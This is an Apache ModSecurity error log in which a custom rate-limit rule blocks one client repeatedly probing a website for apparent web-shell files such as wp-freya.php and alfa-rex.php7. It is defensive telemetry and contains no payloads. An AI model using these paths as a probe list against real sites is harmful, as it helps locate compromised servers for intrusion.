[Mon Mar 02 11:00:35.056094 2026] [:error] [pid 21575:tid 21581] [client 172.190.142.176:63096] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaT9UyrocdArcJqFfInDPgAAAUI"]
[Mon Mar 02 11:00:36.156167 2026] [:error] [pid 21575:tid 21588] [client 172.190.142.176:39385] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaT9VCrocdArcJqFfInDQwAAAUk"]
[Mon Mar 02 11:00:37.168268 2026] [:error] [pid 28795:tid 28866] [client 172.190.142.176:27733] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaT9VbROd53wZBkdI_exdAAAAIM"]
[Mon Mar 02 11:00:37.790285 2026] [:error] [pid 28795:tid 28880] [client 172.190.142.176:34368] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaT9VbROd53wZBkdI_exdwAAAJE"]
[Mon Mar 02 11:00:38.416986 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:12278] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaT9Vv-JFLfishX45N9EOAAAAQE"]
[Mon Mar 02 11:00:39.065127 2026] [:error] [pid 31257:tid 31265] [client 172.190.142.176:34380] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaT9V_-JFLfishX45N9EPAAAAQI"]
[Mon Mar 02 11:00:39.589270 2026] [:error] [pid 31257:tid 31267] [client 172.190.142.176:46247] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaT9V_-JFLfishX45N9EPwAAAQQ"]
[Mon Mar 02 11:00:40.123715 2026] [:error] [pid 21575:tid 21579] [client 172.190.142.176:63070] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws60.php"] [unique_id "aaT9WCrocdArcJqFfInDUwAAAUA"]
[Mon Mar 02 11:00:40.638804 2026] [:error] [pid 23872:tid 23879] [client 172.190.142.176:14034] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaT9WEzkQFuA2qBk8UPTwgAAAYQ"]
[Mon Mar 02 11:00:41.245461 2026] [:error] [pid 28908:tid 28915] [client 172.190.142.176:34371] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaT9WYqJmC8ih_lQQnAOywAAAMU"]
[Mon Mar 02 11:00:41.858286 2026] [:error] [pid 23872:tid 23881] [client 172.190.142.176:3527] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaT9WUzkQFuA2qBk8UPTyQAAAYY"]
[Mon Mar 02 11:00:42.344404 2026] [:error] [pid 21575:tid 21586] [client 172.190.142.176:28511] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-freya.php"] [unique_id "aaT9WirocdArcJqFfInDYAAAAUc"]
[Mon Mar 02 11:00:43.137328 2026] [:error] [pid 28795:tid 28864] [client 172.190.142.176:39218] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaT9W7ROd53wZBkdI_exewAAAIE"]
[Mon Mar 02 11:00:43.840466 2026] [:error] [pid 28908:tid 28913] [client 172.190.142.176:1277] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaT9W4qJmC8ih_lQQnAO0QAAAMM"]
[Mon Mar 02 11:00:44.509550 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:14027] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaT9XEzkQFuA2qBk8UPTzQAAAYo"]
[Mon Mar 02 11:00:45.261015 2026] [:error] [pid 28794:tid 28850] [client 172.190.142.176:55011] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bb.php"] [unique_id "aaT9XaVy2qpaelbUob15sgAAAE4"]
[Mon Mar 02 11:00:45.872262 2026] [:error] [pid 23872:tid 23875] [client 172.190.142.176:54442] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaT9XUzkQFuA2qBk8UPT1gAAAYA"]
[Mon Mar 02 11:00:46.478048 2026] [:error] [pid 21575:tid 21588] [client 172.190.142.176:63365] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaT9XirocdArcJqFfInDagAAAUk"]
[Mon Mar 02 11:00:46.919930 2026] [:error] [pid 28794:tid 28860] [client 172.190.142.176:55029] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaT9XqVy2qpaelbUob15swAAAFg"]
[Mon Mar 02 11:00:47.372339 2026] [:error] [pid 23872:tid 23899] [client 172.190.142.176:35575] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dsd.php"] [unique_id "aaT9X0zkQFuA2qBk8UPT4AAAAZg"]
[Mon Mar 02 11:00:47.864455 2026] [:error] [pid 23872:tid 23898] [client 172.190.142.176:1077] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaT9X0zkQFuA2qBk8UPT4gAAAZc"]
[Mon Mar 02 11:00:48.341714 2026] [:error] [pid 28795:tid 28884] [client 172.190.142.176:1231] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaT9YLROd53wZBkdI_exfgAAAJU"]
[Mon Mar 02 11:00:48.966306 2026] [:error] [pid 23872:tid 23878] [client 172.190.142.176:1253] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaT9YEzkQFuA2qBk8UPT5gAAAYM"]
[Mon Mar 02 11:00:49.466322 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:9046] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/guk.php"] [unique_id "aaT9YUzkQFuA2qBk8UPT6QAAAY4"]
[Mon Mar 02 11:00:49.940844 2026] [:error] [pid 23872:tid 23894] [client 172.190.142.176:54403] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaT9YUzkQFuA2qBk8UPT7QAAAZM"]
[Mon Mar 02 11:00:50.427540 2026] [:error] [pid 21575:tid 21597] [client 172.190.142.176:12256] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaT9YirocdArcJqFfInDbQAAAVI"]
[Mon Mar 02 11:00:51.008575 2026] [:error] [pid 21575:tid 21582] [client 172.190.142.176:42313] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaT9YyrocdArcJqFfInDcQAAAUM"]
[Mon Mar 02 11:00:51.483573 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:28518] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaT9Y0zkQFuA2qBk8UPT8gAAAY4"]
[Mon Mar 02 11:00:52.138261 2026] [:error] [pid 21575:tid 21579] [client 172.190.142.176:49820] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaT9ZCrocdArcJqFfInDdgAAAUA"]
[Mon Mar 02 11:00:52.737014 2026] [:error] [pid 21575:tid 21592] [client 172.190.142.176:64636] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaT9ZCrocdArcJqFfInDeAAAAU0"]
[Mon Mar 02 11:00:53.362405 2026] [:error] [pid 23872:tid 23878] [client 172.190.142.176:42320] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaT9ZUzkQFuA2qBk8UPUAgAAAYM"]
[Mon Mar 02 11:00:53.853921 2026] [:error] [pid 23872:tid 23882] [client 172.190.142.176:42315] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaT9ZUzkQFuA2qBk8UPUBQAAAYc"]
[Mon Mar 02 11:00:54.366611 2026] [:error] [pid 23872:tid 23897] [client 172.190.142.176:52118] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaT9ZkzkQFuA2qBk8UPUCAAAAZY"]
[Mon Mar 02 11:00:54.945847 2026] [:error] [pid 23872:tid 23882] [client 172.190.142.176:49825] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaT9ZkzkQFuA2qBk8UPUDgAAAYc"]
[Mon Mar 02 11:00:55.561005 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:28540] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaT9Z0zkQFuA2qBk8UPUFAAAAY4"]
[Mon Mar 02 11:00:56.263120 2026] [:error] [pid 23872:tid 23882] [client 172.190.142.176:63099] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file52.php"] [unique_id "aaT9aEzkQFuA2qBk8UPUFwAAAYc"]
[Mon Mar 02 11:00:56.791060 2026] [:error] [pid 28908:tid 28929] [client 172.190.142.176:64615] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tax.php"] [unique_id "aaT9aIqJmC8ih_lQQnAO2AAAANM"]
[Mon Mar 02 11:01:03.094103 2026] [:error] [pid 23872:tid 23890] [client 172.190.142.176:64604] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rum.php"] [unique_id "aaT9b0zkQFuA2qBk8UPUUAAAAY8"]
[Mon Mar 02 11:01:03.612772 2026] [:error] [pid 23872:tid 23878] [client 172.190.142.176:23133] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rum.php"] [unique_id "aaT9b0zkQFuA2qBk8UPUVAAAAYM"]
[Mon Mar 02 11:01:04.036923 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:52779] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rum.php"] [unique_id "aaT9cEzkQFuA2qBk8UPUWgAAAY4"]
[Mon Mar 02 11:01:04.767340 2026] [:error] [pid 31257:tid 31287] [client 172.190.142.176:12275] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rum.php"] [unique_id "aaT9cP-JFLfishX45N9EcQAAARg"]
[Mon Mar 02 11:01:05.457159 2026] [:error] [pid 31257:tid 31269] [client 172.190.142.176:46208] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaT9cf-JFLfishX45N9EdgAAAQY"]
[Mon Mar 02 11:01:05.962006 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:14016] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaT9cf-JFLfishX45N9EewAAAQE"]
[Mon Mar 02 11:01:06.491426 2026] [:error] [pid 28908:tid 28927] [client 172.190.142.176:1363] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaT9coqJmC8ih_lQQnAO4gAAANE"]
[Mon Mar 02 11:01:06.953764 2026] [:error] [pid 23872:tid 23878] [client 172.190.142.176:1216] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaT9ckzkQFuA2qBk8UPUbAAAAYM"]
[Mon Mar 02 11:01:07.476690 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:64593] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaT9c0zkQFuA2qBk8UPUbgAAAYs"]
[Mon Mar 02 11:01:08.243712 2026] [:error] [pid 23872:tid 23882] [client 172.190.142.176:29458] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaT9dEzkQFuA2qBk8UPUcQAAAYc"]
[Mon Mar 02 11:01:08.916175 2026] [:error] [pid 31257:tid 31270] [client 172.190.142.176:14045] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaT9dP-JFLfishX45N9EigAAAQc"]
[Mon Mar 02 11:01:09.628599 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:63389] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaT9dUzkQFuA2qBk8UPUdgAAAYo"]
[Mon Mar 02 11:01:10.077915 2026] [:error] [pid 31257:tid 31280] [client 172.190.142.176:24405] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaT9dv-JFLfishX45N9EjQAAARE"]
[Mon Mar 02 11:01:10.554281 2026] [:error] [pid 23872:tid 23884] [client 172.190.142.176:28485] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaT9dkzkQFuA2qBk8UPUewAAAYk"]
[Mon Mar 02 11:01:11.044406 2026] [:error] [pid 23872:tid 23893] [client 172.190.142.176:54419] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaT9d0zkQFuA2qBk8UPUfQAAAZI"]
[Mon Mar 02 11:01:11.543102 2026] [:error] [pid 28908:tid 28922] [client 172.190.142.176:23131] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaT9d4qJmC8ih_lQQnAO5gAAAMw"]
[Mon Mar 02 11:01:12.041231 2026] [:error] [pid 23872:tid 23895] [client 172.190.142.176:64577] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaT9eEzkQFuA2qBk8UPUhgAAAZQ"]
[Mon Mar 02 11:01:12.536430 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:39192] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaT9eEzkQFuA2qBk8UPUiAAAAYs"]
